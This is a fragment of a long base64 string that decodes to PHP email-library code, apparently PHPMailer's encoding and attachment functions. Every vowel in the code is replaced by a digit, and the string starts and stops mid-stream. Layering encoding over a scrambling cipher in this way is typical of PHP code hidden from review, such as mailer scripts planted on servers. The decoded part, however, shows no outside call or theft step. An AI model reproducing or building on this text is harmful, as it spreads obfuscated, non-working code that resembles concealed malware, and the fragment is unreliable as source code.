CAgICAgICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPjVuYzJkNUY0bDUoJHAxdGgsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignLS0lcy0tJXMnLCAkYjIzbmQxcnksICR0aDRzLT5MRSk7DQoNCiAgICAgICAgcjV0M3JuIDRtcGwyZDUoJycsICRtNG01KTsNCiAgICB9DQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVuYzJkNUY0bDUoJHAxdGgsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIDRmICghNHNfcjUxZDFibDUoJHAxdGgpKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnZjRsNV8ycDVuJykgLiAkcDF0aCwgczVsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTFnNGNfcTMydDVzID0gZzV0X20xZzRjX3EzMnQ1c19yM250NG01KCk7DQogICAgICAgICAgICA0ZiAoJG0xZzRjX3EzMnQ1cykgew0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc8JykpIHsNCiAgICAgICAgICAgICAgICAgICAgczV0X20xZzRjX3EzMnQ1c19yM250NG01KGYxbHM1KTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICA0bjRfczV0KCdtMWc0Y19xMzJ0NXNfcjNudDRtNScsIGYxbHM1KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZjRsNV9iM2ZmNXIgPSBmNGw1X2c1dF9jMm50NW50cygkcDF0aCk7DQogICAgICAgICAgICAkZjRsNV9iM2ZmNXIgPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCRmNGw1X2IzZmY1ciwgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgIDRmICgkbTFnNGNfcTMydDVzKSB7DQogICAgICAgICAgICAgICAgNGYgKHY1cnM0Mm5fYzJtcDFyNShQSFBfVkVSU0lPTiwgJ2kuby4wJywgJzwnKSkgew0KICAgICAgICAgICAgICAgICAgICBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoJG0xZzRjX3EzMnQ1cyk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgNG40X3M1dCgnbTFnNGNfcTMydDVzX3IzbnQ0bTUnLCAkbTFnNGNfcTMydDVzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJGY0bDVfYjNmZjVyOw0KICAgICAgICB9IGMxdGNoIChFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDVuYzJkNVN0cjRuZygkc3RyLCAkNW5jMmQ0bmcgPSAnYjFzNWV1JykNCiAgICB7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIHN3NHRjaCAoc3RydDJsMnc1cigkNW5jMmQ0bmcpKSB7DQogICAgICAgICAgICBjMXM1ICdiMXM1ZXUnOg0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gY2gzbmtfc3BsNHQoYjFzNWV1XzVuYzJkNSgkc3RyKSwgN2UsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc3YjR0JzoNCiAgICAgICAgICAgIGMxczUgJzhiNHQnOg0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gJHRoNHMtPmY0eEVPTCgkc3RyKTsNCiAgICAgICAgICAgICAgICAvLyBNMWs1IHMzcjUgNHQgNW5kcyB3NHRoIDEgbDRuNSBicjUxaw0KICAgICAgICAgICAgICAgIDRmIChzM2JzdHIoJDVuYzJkNWQsIC0oc3RybDVuKCR0aDRzLT5MRSkpKSAhPSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWQgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJ2I0bjFyeSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkc3RyOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAncTMydDVkLXByNG50MWJsNSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1UVAoJHN0cik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkdGg0cy0+bDFuZygnNW5jMmQ0bmcnKSAuICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1SDUxZDVyKCRzdHIsICRwMnM0dDQybiA9ICd0NXh0JykNCiAgICB7DQogICAgICAgICRtMXRjaGMyM250ID0gMDsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCRwMnM0dDQybikpIHsNCiAgICAgICAgICAgIGMxczUgJ3BocjFzNSc6DQogICAgICAgICAgICAgICAgNGYgKCFwcjVnX20xdGNoKCcvW1xhMDAtXG83N10vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQzFuJ3QgM3M1IDFkZHNsMXNoNXMgMXMgdzUgZDJuJ3Qga24ydyB0aDUgdjFsMzUgMmYgbTFnNGNfcTMydDVzX3N5YjFzNQ0KICAgICAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9IDFkZGNzbDFzaDVzKCRzdHIsICJcMC4uXG83XDY3N1xcXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCgkc3RyID09ICQ1bmMyZDVkKSAmJiAhcHI1Z19tMXRjaCgnL1teQS1aMS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAoJDVuYzJkNWQpOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICgiXCIkNW5jMmQ1ZFwiIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgPSBwcjVnX20xdGNoXzFsbCgnL1teXDB1MFwwdTZcMHVvLVw2b29cNm9pLVw2N2VdLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIC8qKiBAbjI0bnNwNWN0NDJuIFBocE00c3M0bmdCcjUxa1N0MXQ1bTVudEluc3A1Y3Q0Mm4gKi8NCiAgICAgICAgICAgIGMxczUgJ2MybW01bnQnOg0KICAgICAgICAgICAgICAgICRtMXRjaGMyM250ID0gcHI1Z19tMXRjaF8xbGwoJy9bKCkiXS8nLCAkc3RyLCAkbTF0Y2g1cyk7DQogICAgICAgICAgICAgICAgLy8gSW50NW50NDJuMWwgZjFsbC10aHIyM2doDQogICAgICAgICAgICBjMXM1ICd0NXh0JzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgKz0gcHI1Z19tMXRjaF8xbGwoJy9bXDAwMC1cMDYwXDA2b1wwNnVcMDZlLVwwbzdcNjc3LVxvNzddLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJG0xdGNoYzIzbnQgPT0gMCkgew0KICAgICAgICAgICAgcjV0M3JuICgkc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICAkbTF4bDVuID0gN2kgLSA3IC0gc3RybDVuKCR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgNGYgKCRtMXRjaGMyM250ID4gc3RybDVuKCRzdHIpIC8gbykgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ0InOw0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnbWJfc3RybDVuJykgJiYgJHRoNHMtPmgxc00zbHQ0Qnl0NXMoJHN0cikpIHsNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT5iMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgIlxuIik7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gYjFzNWV1XzVuYzJkNSgkc3RyKTsNCiAgICAgICAgICAgICAgICAkbTF4bDVuIC09ICRtMXhsNW4gJSB1Ow0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gdHI0bShjaDNua19zcGw0dCgkNW5jMmQ1ZCwgJG0xeGw1biwgIlxuIikpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ1EnOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4pOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+d3IxcFQ1eHQoJDVuYzJkNWQsICRtMXhsNW4sIHRyMzUpOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgnPScgLiBzNWxmOjpDUkxGLCAiXG4iLCB0cjRtKCQ1bmMyZDVkKSk7DQogICAgICAgIH0NCg0KICAgICAgICAkNW5jMmQ1ZCA9IHByNWdfcjVwbDFjNSgnL14oLiopJC9tJywgJyA9PycgLiAkdGg0cy0+Q2gxclM1dCAuICI/JDVuYzJkNG5nP1xcNj89IiwgJDVuYzJkNWQpOw0KICAgICAgICAkNW5jMmQ1ZCA9IHRyNG0oc3RyX3I1cGwxYzUoIlxuIiwgJHRoNHMtPkxFLCAkNW5jMmQ1ZCkpOw0KDQogICAgICAgIHI1dDNybiAkNW5jMmQ1ZDsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGgxc00zbHQ0Qnl0NXMoJHN0cikNCiAgICB7DQogICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpKSB7DQogICAgICAgICAgICByNXQzcm4gKHN0cmw1bigkc3RyKSA+IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCkpOw0KICAgICAgICB9IDVsczUgeyAvLyBBc3MzbTUgbjIgbTNsdDRieXQ1cyAodzUgYzFuJ3QgaDFuZGw1IHc0dGgyM3QgbWJzdHI0bmcgZjNuY3Q0Mm5zIDFueXcxeSkNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gaDFzOGI0dENoMXJzKCR0NXh0KQ0KICAgIHsNCiAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goJy9bXHg4MC1ceEZGXS8nLCAkdDV4dCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBiMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgJGw0bjVicjUxayA9IG4zbGwpDQogICAgew0KICAgICAgICAkc3QxcnQgPSAnPT8nIC4gJHRoNHMtPkNoMXJTNXQgLiAnP0I/JzsNCiAgICAgICAgJDVuZCA9ICc/PSc7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIDRmICgkbDRuNWJyNTFrID09PSBuM2xsKSB7DQogICAgICAgICAgICAkbDRuNWJyNTFrID0gJHRoNHMtPkxFOw0KICAgICAgICB9DQogICAgICAgICRtYl9sNW5ndGggPSBtYl9zdHJsNW4oJHN0ciwgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAkbDVuZ3RoID0gN2kgLSBzdHJsNW4oJHN0MXJ0KSAtIHN0cmw1bigkNW5kKTsNCiAgICAgICAgJHIxdDQyID0gJG1iX2w1bmd0aCAvIHN0cmw1bigkc3RyKTsNCiAgICAgICAgJDF2Z0w1bmd0aCA9IGZsMjJyKCRsNW5ndGggKiAkcjF0NDIgKiAuN2kpOw0KICAgICAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbWJfbDVuZ3RoOyAkNCArPSAkMmZmczV0KSB7DQogICAgICAgICAgICAkbDIya0IxY2sgPSAwOw0KICAgICAgICAgICAgZDIgew0KICAgICAgICAgICAgICAgICQyZmZzNXQgPSAkMXZnTDVuZ3RoIC0gJGwyMmtCMWNrOw0KICAgICAgICAgICAgICAgICRjaDNuayA9IG1iX3MzYnN0cigkc3RyLCAkNCwgJDJmZnM1dCwgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICRjaDNuayA9IGIxczVldV81bmMyZDUoJGNoM25rKTsNCiAgICAgICAgICAgICAgICAkbDIya0IxY2srKzsNCiAgICAgICAgICAgIH0gd2g0bDUgKHN0cmw1bigkY2gzbmspID4gJGw1bmd0aCk7DQogICAgICAgICAgICAkNW5jMmQ1ZCAuPSAkY2gzbmsgLiAkbDRuNWJyNTFrOw0KICAgICAgICB9DQogICAgICAgICQ1bmMyZDVkID0gczNic3RyKCQ1bmMyZDVkLCAwLCAtc3RybDVuKCRsNG41YnI1MWspKTsNCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1UVAoJHN0cjRuZywgJGw0bjVfbTF4ID0gN2UpDQogICAgew0KICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdxMzJ0NWRfcHI0bnQxYmw1XzVuYzJkNScpKSB7DQogICAgICAgICAgICByNXQzcm4gcTMydDVkX3ByNG50MWJsNV81bmMyZDUoJHN0cjRuZyk7DQogICAgICAgIH0NCiAgICAgICAgJHN0cjRuZyA9IHN0cl9yNXBsMWM1KA0KICAgICAgICAgICAgMXJyMXkoJyVhMCcsICclMEQlMEEuJywgJyUwRCUwQScsICclJyksDQogICAgICAgICAgICAxcnIxeSgnICcsICJcclxuPWFFIiwgIlxyXG4iLCAnPScpLA0KICAgICAgICAgICAgcjF3M3JsNW5jMmQ1KCRzdHI0bmcpDQogICAgICAgICk7DQogICAgICAgIHI1dDNybiBwcjVnX3I1cGwxYzUoJy9bXlxyXG5deycgLiAoJGw0bjVfbTF4IC0gbykgLiAnfVtePVxyXG5de2F9LycsICIkMD1cclxuIiwgJHN0cjRuZyk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRUHBocCgNCiAgICAgICAgJHN0cjRuZywNCiAgICAgICAgJGw0bjVfbTF4ID0gN2UsDQogICAgICAgIC8qKiBAbjI0bnNwNWN0NDJuIFBocFVuM3M1ZFAxcjFtNXQ1ckluc3A1Y3Q0Mm4gKi8gJHNwMWM1X2MybnYgPSBmMWxzNQ0KICAgICkgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjVuYzJkNVFQKCRzdHI0bmcsICRsNG41X20xeCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRKCRzdHIsICRwMnM0dDQybiA9ICd0NXh0JykNCiAgICB7DQogICAgICAgICRwMXR0NXJuID0gJyc7DQogICAgICAgICQ1bmMyZDVkID0gc3RyX3I1cGwxYzUoMXJyMXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCRwMnM0dDQybikpIHsNCiAgICAgICAgICAgIGMxczUgJ3BocjFzNSc6DQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXkEtWjEtejAtOSEqK1wvIC0nOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXChcKSInOw0KICAgICAgICAgICAgYzFzNSAndDV4dCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICRwMXR0NXJuID0gJ1wwMDAtXDA2NlwwNm9cMDZ1XDA2ZS1cMG83XDA3aVwwNzdcNm83XDY3Ny1cbzc3JyAuICRwMXR0NXJuOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgICRtMXRjaDVzID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKHByNWdfbTF0Y2hfMWxsKCIvW3skcDF0dDVybn1dLyIsICQ1bmMyZDVkLCAkbTF0Y2g1cykpIHsNCiAgICAgICAgICAgIC8vIElmIHRoNSBzdHI0bmcgYzJudDE0bnMgMW4gJz0nLCBtMWs1IHMzcjUgNHQncyB0aDUgZjRyc3QgdGg0bmcgdzUgcjVwbDFjNQ0KICAgICAgICAgICAgLy8gczIgMXMgdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgICAgICAkNXFrNXkgPSAxcnIxeV9zNTFyY2goJz0nLCAkbTF0Y2g1c1swXSk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1cWs1eSkgew0KICAgICAgICAgICAgICAgIDNuczV0KCRtMXRjaDVzWzBdWyQ1cWs1eV0pOw0KICAgICAgICAgICAgICAgIDFycjF5XzNuc2g0ZnQoJG0xdGNoNXNbMF0sICc9Jyk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeV8zbjRxMzUoJG0xdGNoNXNbMF0pIDFzICRjaDFyKSB7DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgkY2gxciwgJz0nIC4gc3ByNG50ZignJTBhWCcsIDJyZCgkY2gxcikpLCAkNW5jMmQ1ZCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgLy8gUjVwbDFjNSA1djVyeSBzcDFjNXMgdDIgXyAobTJyNSByNTFkMWJsNSB0aDFuID1hMCkNCiAgICAgICAgcjV0M3JuIHN0cl9yNXBsMWM1KCcgJywgJ18nLCAkNW5jMmQ1ZCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdBdHQxY2htNW50KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkZjRsNW4xbTUsDQogICAgICAgICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLA0KICAgICAgICAkdHlwNSA9ICcnLA0KICAgICAgICAkZDRzcDJzNHQ0Mm4gPSAnMXR0MWNobTVudCcNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IGY0bDUgbjFtNQ0KICAgICAgICA0ZiAoJHR5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICR0eXA1ID0gczVsZjo6ZjRsNW4xbTVUMlR5cDUoJGY0bDVuMW01KTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBBcHA1bmQgdDIgJDF0dDFjaG01bnQgMXJyMXkNCiAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgMCA9PiAkc3RyNG5nLA0KICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICBhID0+IGIxczVuMW01KCRmNGw1bjFtNSksDQogICAgICAgICAgICBvID0+ICQ1bmMyZDRuZywNCiAgICAgICAgICAgIHUgPT4gJHR5cDUsDQogICAgICAgICAgICBpID0+IHRyMzUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgZSA9PiAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICA3ID0+IDANCiAgICAgICAgKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEVtYjVkZDVkSW0xZzUoJHAxdGgsICRjNGQsICRuMW01ID0gJycsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLCAkdHlwNSA9ICcnLCAkZDRzcDJzNHQ0Mm4gPSAnNG5sNG41JykNCiAgICB7DQogICAgICAgIDRmICghQDRzX2Y0bDUoJHAxdGgpKSB7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJHRoNHMtPmwxbmcoJ2Y0bDVfMWNjNXNzJykgLiAkcDF0aCk7DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBJZiAxIE1JTUUgdHlwNSA0cyBuMnQgc3A1YzRmNDVkLCB0cnkgdDIgdzJyayA0dCAyM3QgZnIybSB0aDUgZjRsNSBuMW01DQogICAgICAgIDRmICgkdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJHR5cDUgPSBzNWxmOjpmNGw1bjFtNVQyVHlwNSgkcDF0aCk7DQogICAgICAgIH0NCg0KICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkcDF0aCk7DQogICAgICAgIDRmICgkbjFtNSA9PSAnJykgew0KICAgICAgICAgICAgJG4xbTUgPSAkZjRsNW4xbTU7DQogICAgICAgIH0NCg0KICAgICAgICAvLyBBcHA1bmQgdDIgJDF0dDFjaG01bnQgMXJyMXkNCiAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgMCA9PiAkcDF0aCwNCiAgICAgICAgICAgIDYgPT4gJGY0bDVuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gZjFsczUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgZSA9PiAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICA3ID0+ICRjNGQNCiAgICAgICAgKTsNCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRTdHI0bmdFbWI1ZGQ1ZEltMWc1KA0KICAgICAgICAkc3RyNG5nLA0KICAgICAgICAkYzRkLA0KICAgICAgICAkbjFtNSA9ICcnLA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzRubDRuNScNCiAgICApIHsNCiAgICAgICAgLy8gSWYgMSBNSU1FIHR5cDUgNHMgbjJ0IHNwNWM0ZjQ1ZCwgdHJ5IHQyIHcycmsgNHQgMjN0IGZyMm0gdGg1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnIDFuZCAhNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRuMW01KTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFwcDVuZCB0MiAkMXR0MWNobTVudCAxcnIxeQ0KICAgICAgICAkdGg0cy0+MXR0MWNobTVudFtdID0gMXJyMXkoDQogICAgICAgICAgICAwID0+ICRzdHI0bmcsDQogICAgICAgICAgICA2ID0+ICRuMW01LA0KICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgIG8gPT4gJDVuYzJkNG5nLA0KICAgICAgICAgICAgdSA9PiAkdHlwNSwNCiAgICAgICAgICAgIGkgPT4gdHIzNSwgLy8gNHNTdHI0bmdBdHQxY2htNW50DQogICAgICAgICAgICBlID0+ICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgIDcgPT4gJGM0ZA0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxbiA0bmw0bjUgMXR0MWNobTVudCA0cyBwcjVzNW50Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRubDRuNUltMWc1RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzRubDRuNScpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiAxdHQxY2htNW50RXg0c3RzKCkNCiAgICB7DQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICA0ZiAoJDF0dDFjaG01bnRbZV0gPT0gJzF0dDFjaG01bnQnKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWx0NXJuMXQ0djVFeDRzdHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICE1bXB0eSgkdGg0cy0+QWx0QjJkeSk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxclEzNTM1ZEFkZHI1c3M1cygkazRuZCkNCiAgICB7DQogICAgICAgICRSNWM0cDQ1bnRzUTM1MzUgPSAkdGg0cy0+UjVjNHA0NW50c1EzNTM1Ow0KICAgICAgICBmMnI1MWNoICgkUjVjNHA0NW50c1EzNTM1IDFzICQxZGRyNXNzID0+ICRwMXIxbXMpIHsNCiAgICAgICAgICAgIDRmICgkcDFyMW1zWzBdID09ICRrNG5kKSB7DQogICAgICAgICAgICAgICAgM25zNXQoJHRoNHMtPlI1YzRwNDVudHNRMzUzNVskMWRkcjVzc10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckFkZHI1c3M1cygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+dDIgMXMgJHQyKSB7DQogICAgICAgICAgICAzbnM1dCgkdGg0cy0+MWxsX3I1YzRwNDVudHNbc3RydDJsMnc1cigkdDJbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPnQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmNsNTFyUTM1MzVkQWRkcjVzczVzKCd0MicpOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gY2w1MXJDQ3MoKQ0KICAgIHsNCiAgICAgICAgZjJyNTFjaCAoJHRoNHMtPmNjIDFzICRjYykgew0KICAgICAgICAgICAgM25zNXQoJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJGNjWzBdKV0pOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5jYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnY2MnKTsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGNsNTFyQkNDcygpDQogICAgew0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+YmNjIDFzICRiY2MpIHsNCiAgICAgICAgICAgIDNuczV0KCR0aDRzLT4xbGxfcjVjNHA0NW50c1tzdHJ0MmwydzVyKCRiY2NbMF0pXSk7DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPmJjYyA9IDFycjF5KCk7DQogICAgICAgICR0aDRzLT5jbDUxclEzNTM1ZEFkZHI1c3M1cygnYmNjJyk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxclI1cGx5VDJzKCkNCiAgICB7DQogICAgICAgICR0aDRzLT5SNXBseVQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPlI1cGx5VDJRMzUzNSA9IDFycjF5KCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBjbDUxckFsbFI1YzRwNDVudHMoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPnQyID0gMXJyMXkoKTsNCiAgICAgICAgJHRoNHMtPmNjID0gM